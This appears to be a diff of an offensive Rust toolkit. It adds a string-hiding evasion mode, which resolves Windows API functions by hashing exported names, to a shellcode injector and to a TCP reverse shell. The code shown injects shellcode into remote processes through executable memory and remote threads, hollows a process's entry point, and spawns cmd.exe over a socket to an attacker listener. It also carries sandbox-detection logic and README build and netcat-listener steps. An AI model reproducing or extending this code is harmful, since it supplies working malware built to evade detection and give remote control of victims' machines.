(function)(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut())
|
||||
};
|
||||
|
||||
// See line 86
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap();
|
||||
let image_base_address = basic_information.PebBaseAddress as u64 + 0x10;
|
||||
let mut address_buffer = [0; POINTER_SIZE];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as _, address_buffer.len(), ptr::null_mut())
|
||||
};
|
||||
|
||||
// See line 96
|
||||
let pe_base_address = array_to_u64_lit_end(&address_buffer);
|
||||
let mut header_buffer = [0; 0x200];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as _, header_buffer.len(), ptr::null_mut())
|
||||
};
|
||||
if header_buffer[0] != 77 || header_buffer[1] != 90 {
|
||||
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
|
||||
}
|
||||
|
||||
// See line 106
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let e_lfanew = array_to_u32_lit_end(&header_buffer[E_LFANEW_OFFSET..E_LFANEW_OFFSET + 0x04].try_into().unwrap());
|
||||
let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET;
|
||||
let entry_point_rva = array_to_u32_lit_end(&header_buffer[opthdr_offset..opthdr_offset + 0x04].try_into().unwrap());
|
||||
let entry_point_address = entry_point_rva as u64 + pe_base_address;
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
|
||||
};
|
||||
|
||||
// See line 119
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE)>
|
||||
(function)(process_information.hThread)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_migration"
|
||||
version = "1.7.0"
|
||||
version = "1.8.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
@@ -10,6 +10,7 @@ rust-version = "1.59"
|
||||
[features]
|
||||
xor = ["rco_utils/xor"]
|
||||
antisand = ["rco_utils/antisand"]
|
||||
antistring = ["rco_utils/antistring"]
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
|
||||
@@ -25,12 +25,12 @@ and change the shellcode to the shellcode generated in step 1
|
||||
|
||||
#### Build for Linux target
|
||||
```commandline
|
||||
cargo build -p process_migration [--features [xor][antisand]] --release
|
||||
cargo build -p process_migration [xor][,][antisand][,][antistring]] --release
|
||||
```
|
||||
|
||||
#### Build for Windows target
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu -p process_migration [--features [xor][antisand]] --release
|
||||
cargo build --target x86_64-pc-windows-gnu -p process_migration [xor][,][antisand][,][antistring]] --release
|
||||
```
|
||||
5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1
|
||||
```commandline
|
||||
|
||||
@@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_MIGRATION_TARGET;
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
mod rco_process_migration_windows;
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_process_migration_windows::inject_and_migrate;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_migration_windows::antistring_inject_and_migrate as inject_and_migrate;
|
||||
// Determine which shellcode and target process to use based on features
|
||||
#[cfg(all(windows, not(feature = "xor")))]
|
||||
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
|
||||
|
||||
@@ -1,11 +1,29 @@
|
||||
extern crate windows;
|
||||
use std::{mem, ptr};
|
||||
use windows::Win32::Foundation::CHAR;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{PROCESSENTRY32, TH32CS_SNAPPROCESS};
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
|
||||
use windows::Win32::System::Threading::PROCESS_ALL_ACCESS;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, PROCESSENTRY32, Process32Next, TH32CS_SNAPPROCESS};
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx};
|
||||
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Memory::VirtualAllocEx;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess};
|
||||
#[cfg(feature = "antistring")]
|
||||
use core::ffi::c_void;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::CREATE_TOOLHELP_SNAPSHOT_FLAGS;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Threading::PROCESS_ACCESS_RIGHTS;
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// Call CreateToolhelp32Snapshot to get a snapshot of all the processes currently running
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
|
||||
@@ -72,3 +90,68 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
panic!("CreateRemoteThread failed");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// See line 28
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap();
|
||||
let snapshot = unsafe {
|
||||
mem::transmute::<*const (), fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE>
|
||||
(function)(TH32CS_SNAPPROCESS, 0_u32)
|
||||
};
|
||||
|
||||
// See line 38
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap();
|
||||
let mut pid: u32 = 0;
|
||||
let mut process_entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
|
||||
process_entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
while unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL>
|
||||
(function)(snapshot, &mut process_entry).as_bool()
|
||||
} {
|
||||
let mut process_name = String::from("");
|
||||
for element in process_entry.szExeFile {
|
||||
let element_as_u8 = unsafe { mem::transmute::<CHAR, u8>(element) };
|
||||
if element_as_u8 == 0 {
|
||||
break
|
||||
}
|
||||
process_name.push(element_as_u8 as char);
|
||||
}
|
||||
if process_name.contains(target_process) {
|
||||
pid = process_entry.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if pid == 0 {
|
||||
panic!("Could not find a {target_process} process");
|
||||
}
|
||||
|
||||
// See line 62
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
|
||||
let explorer_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE>
|
||||
(function)(PROCESS_ALL_ACCESS, false, pid)
|
||||
};
|
||||
|
||||
// See line 72
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
|
||||
let base_address = unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void>
|
||||
(function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
};
|
||||
|
||||
// See line 77
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
|
||||
};
|
||||
|
||||
// See line 85
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap();
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32)>
|
||||
(function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut())
|
||||
};
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@ rust-version = "1.59"
|
||||
[features]
|
||||
xor = []
|
||||
antisand = ["windows", "rand"]
|
||||
antistring = ["windows"]
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
rand.optional = true
|
||||
@@ -19,4 +20,7 @@ windows.version = ">=0.35.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Networking",
|
||||
"Win32_Networking_WinInet" ]
|
||||
"Win32_Networking_WinInet",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_LibraryLoader",
|
||||
"Win32_System_SystemServices" ]
|
||||
+161
-18
@@ -1,4 +1,36 @@
|
||||
use std::error::Error;
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::hash::{Hash, Hasher};
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
extern crate windows;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use std::ffi::CString;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use std::mem;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use windows::core::PCSTR;
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
use core::ffi::c_void;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
extern crate rand;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::distributions::Alphanumeric;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::Rng;
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use std::ptr;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use std::ffi::CStr;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64};
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use windows::Win32::System::LibraryLoader::LoadLibraryA;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
|
||||
|
||||
/*
|
||||
Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer
|
||||
@@ -53,24 +85,7 @@ pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn
|
||||
Antisand Windows implementation - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
extern crate rand;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
extern crate windows;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::distributions::Alphanumeric;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::Rng;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use std::ffi::CString;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use std::mem;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use windows::core::PCSTR;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
|
||||
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// Call InternetOpenA to get a handle that can be used in an actual internet request
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
|
||||
@@ -105,6 +120,48 @@ pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// See line 90
|
||||
let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap();
|
||||
let mut lpsz_agent: PCSTR = unsafe { mem::zeroed() };
|
||||
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
|
||||
let lpsz_proxy: PCSTR = unsafe { mem::zeroed() };
|
||||
let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() };
|
||||
let internet_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>
|
||||
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
|
||||
};
|
||||
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
let alphanum: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(length)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut full_link: String = "https://www.".to_owned();
|
||||
let link_end: String = ".com".to_owned();
|
||||
full_link.push_str(&alphanum);
|
||||
full_link.push_str(&link_end);
|
||||
|
||||
// See line 111
|
||||
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
|
||||
let mut lpsz_url: PCSTR = unsafe { mem::zeroed() };
|
||||
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
|
||||
let website = unsafe {
|
||||
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>
|
||||
(function)(internet_handle, lpsz_url, &[], 0, 0)
|
||||
};
|
||||
if website != 0 as _ {
|
||||
return true
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
|
||||
*/
|
||||
@@ -122,3 +179,89 @@ pub fn pound_sand() -> bool {
|
||||
pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Calculate the has of a hashable value
|
||||
*/
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
/*
|
||||
Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box<dyn Error>> {
|
||||
// Call LoadLibraryA on a DLL to get its base address
|
||||
let mut lib_filename: PCSTR = unsafe { mem::zeroed() };
|
||||
lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8;
|
||||
let library_base = unsafe { LoadLibraryA(lib_filename) };
|
||||
let library_base_usize = library_base.0 as usize;
|
||||
|
||||
// Get a pointer to the DOS header
|
||||
let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER;
|
||||
|
||||
// Calculate the address of the image headers
|
||||
let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 };
|
||||
|
||||
// Get the relative virtual address of the export directory
|
||||
let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress };
|
||||
// Use the RVA to get the real address of the export directory
|
||||
let image_export_directory: *const IMAGE_EXPORT_DIRECTORY = (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
// Calculate the base addresses of the arrays holding function information
|
||||
let names_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize };
|
||||
let ordinals_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNameOrdinals as usize };
|
||||
let functions_address = unsafe { library_base_usize + (*image_export_directory).AddressOfFunctions as usize };
|
||||
|
||||
// Loop over every function looking for the desired name
|
||||
let num_functions = unsafe { (*image_export_directory).NumberOfFunctions };
|
||||
for index in 0..num_functions {
|
||||
// Help traverse the names array; each 4-byte value is a pointer to a name
|
||||
let into_names = mem::size_of::<u32>() * (index as usize);
|
||||
|
||||
// Find the location of the next function name's RVA
|
||||
let function_name_rva_address: *const usize = (names_address + into_names) as *const usize;
|
||||
|
||||
// Read the RVA from its location
|
||||
let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 };
|
||||
|
||||
// Calculate the function name's real address
|
||||
let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8;
|
||||
|
||||
// Read the function name from its address
|
||||
let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() };
|
||||
|
||||
// Hash the name
|
||||
let function_hash = calculate_hash(&function_name);
|
||||
|
||||
// Compare the hashed name to the name you are looking for
|
||||
if function_hash == name_hash {
|
||||
// Find the location of the function ordinal's RVA; it's the same index as the name array but each offset is only 2 bytes
|
||||
let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize;
|
||||
|
||||
// Read the RVA from its location
|
||||
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16};
|
||||
|
||||
// Find the location of the function address in the address array by using the ordinal offset
|
||||
let into_functions = mem::size_of::<u32>() * (ordinal_offset as usize);
|
||||
|
||||
// Calculate the function address's location
|
||||
let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize;
|
||||
|
||||
// Read the function address's location from memory
|
||||
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32};
|
||||
|
||||
// Calculate the function's real address
|
||||
let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const ();
|
||||
|
||||
return Ok(function_address)
|
||||
}
|
||||
}
|
||||
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
|
||||
}
|
||||
@@ -1,14 +1,19 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.1.5"
|
||||
version = "1.2.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[features]
|
||||
antisand = ["rco_utils/antisand"]
|
||||
antistring = ["rco_utils/antistring"]
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.35.0"
|
||||
@@ -16,4 +21,5 @@ windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_Networking_WinSock",
|
||||
"Win32_System_SystemInformation",
|
||||
"Win32_System_Threading" ]
|
||||
|
||||
@@ -20,12 +20,12 @@ and change the IP address and port to match the IP address of your attacking mac
|
||||
|
||||
#### For Linux targets
|
||||
```commandline
|
||||
cargo build -p tcp_reverse_shell --release
|
||||
cargo build -p tcp_reverse_shell [antisand][,][antistring]] --release
|
||||
```
|
||||
|
||||
#### For Windows targets
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
|
||||
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell [--features [antisand][,][antistring]] --release
|
||||
```
|
||||
3. Start a netcat listener on the attacking machine on the same port you configured in step 1
|
||||
```commandline
|
||||
|
||||
@@ -7,9 +7,16 @@ use rco_reverse_shell_linux::shell;
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
mod rco_reverse_shell_windows;
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_reverse_shell_windows::shell;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_reverse_shell_windows::antistring_shell as shell;
|
||||
|
||||
fn main() {
|
||||
// Runs the sandbox detection function or the dummy replacement, dependent on features
|
||||
if rco_utils::pound_sand() {
|
||||
return
|
||||
}
|
||||
|
||||
shell(rco_config::LISTENER_IP, rco_config::LISTENER_PORT);
|
||||
}
|
||||
|
||||
@@ -1,30 +1,28 @@
|
||||
extern crate windows;
|
||||
use std::{mem, ptr};
|
||||
use std::ffi::{CString, c_void};
|
||||
use std::ffi::{CStr, CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup};
|
||||
use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData};
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
|
||||
use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, WSASocketA, WSAStartup};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::SystemInformation::GetSystemDirectoryA;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::CreateProcessA;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::BOOL;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Networking::WinSock::WSAPROTOCOL_INFOA;
|
||||
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85)
|
||||
// Normally this is called by MAKEWORD(2,2), which is 514
|
||||
const WSASTARTUPVAL: u16 = 514;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
|
||||
// 2 = AF_INET
|
||||
const AF_INET_I32: i32 = 2;
|
||||
// 1 = SOCK_STREAM
|
||||
const WSATYPE: i32 = 1;
|
||||
// 6 = TCP
|
||||
const WSAPROTO: i32 = 6;
|
||||
// 0 = No group operation
|
||||
const WSAGROUP: u32 = 0;
|
||||
// http://www.novell.com/documentation/developer/samplecode/ndpscomp_sample/gateway_inc/WINSOCK2.H.html
|
||||
// 2 = AF_INET
|
||||
const AF_INET_U16: u16 = 2;
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
|
||||
// Call WSAStartup so that you can do anything with sockets
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSAStartup.html
|
||||
@@ -37,20 +35,20 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// Call WSASocket to create a socket
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html
|
||||
let socket = unsafe { WSASocketA(AF_INET_I32, WSATYPE, WSAPROTO, ptr::null(), WSAGROUP, 0) };
|
||||
let socket = unsafe { WSASocketA(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0) };
|
||||
|
||||
// Call inet_pton to populate the sockaddr_in.sin_addr field, which is needed as part of the socket connection
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html
|
||||
let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() };
|
||||
sockaddr_in.sin_family = AF_INET_U16;
|
||||
sockaddr_in.sin_family = AF_INET.0 as u16;
|
||||
// This is magic that I don't really understand but seems to work
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
// Create a PSTR and use the IP string as the 0 field
|
||||
let mut ip_pstr: PCSTR = unsafe { mem::zeroed() };
|
||||
ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8;
|
||||
// Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now
|
||||
let conversion_result = unsafe { inet_pton(AF_INET_I32, ip_pstr, sin_addr_ptr) };
|
||||
let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pstr, sin_addr_ptr) };
|
||||
if conversion_result != 1 {
|
||||
panic!("Unable to convert IP address to usable form with inet_pton")
|
||||
}
|
||||
@@ -68,6 +66,14 @@ pub fn shell(ip: &str, port: u16) {
|
||||
panic!("Unable to call connect to the remote socket")
|
||||
}
|
||||
|
||||
// Call GetSystemDirectoryA to figure out where cmd.exe will be
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/SystemInformation/fn.GetSystemDirectoryA.html
|
||||
let lp_buffer: &mut [u8] = &mut [0; 50];
|
||||
unsafe { GetSystemDirectoryA(lp_buffer) };
|
||||
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
|
||||
let system_dir = system_dir.to_str().unwrap();
|
||||
|
||||
// Call CreateProcessA to spawn a shell with stdin/stdout/stderr as the socket
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
|
||||
@@ -81,7 +87,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8;
|
||||
lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8;
|
||||
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
|
||||
@@ -103,3 +109,88 @@ pub fn shell(ip: &str, port: u16) {
|
||||
panic!("Could not start cmd.exe process");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_shell(ip: &str, port: u16) {
|
||||
// See line 16
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap();
|
||||
let wsa_data: WSAData = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(u16, WSAData)>
|
||||
(function)(WSASTARTUPVAL, wsa_data)
|
||||
};
|
||||
|
||||
// See line 25
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap();
|
||||
let socket = unsafe {
|
||||
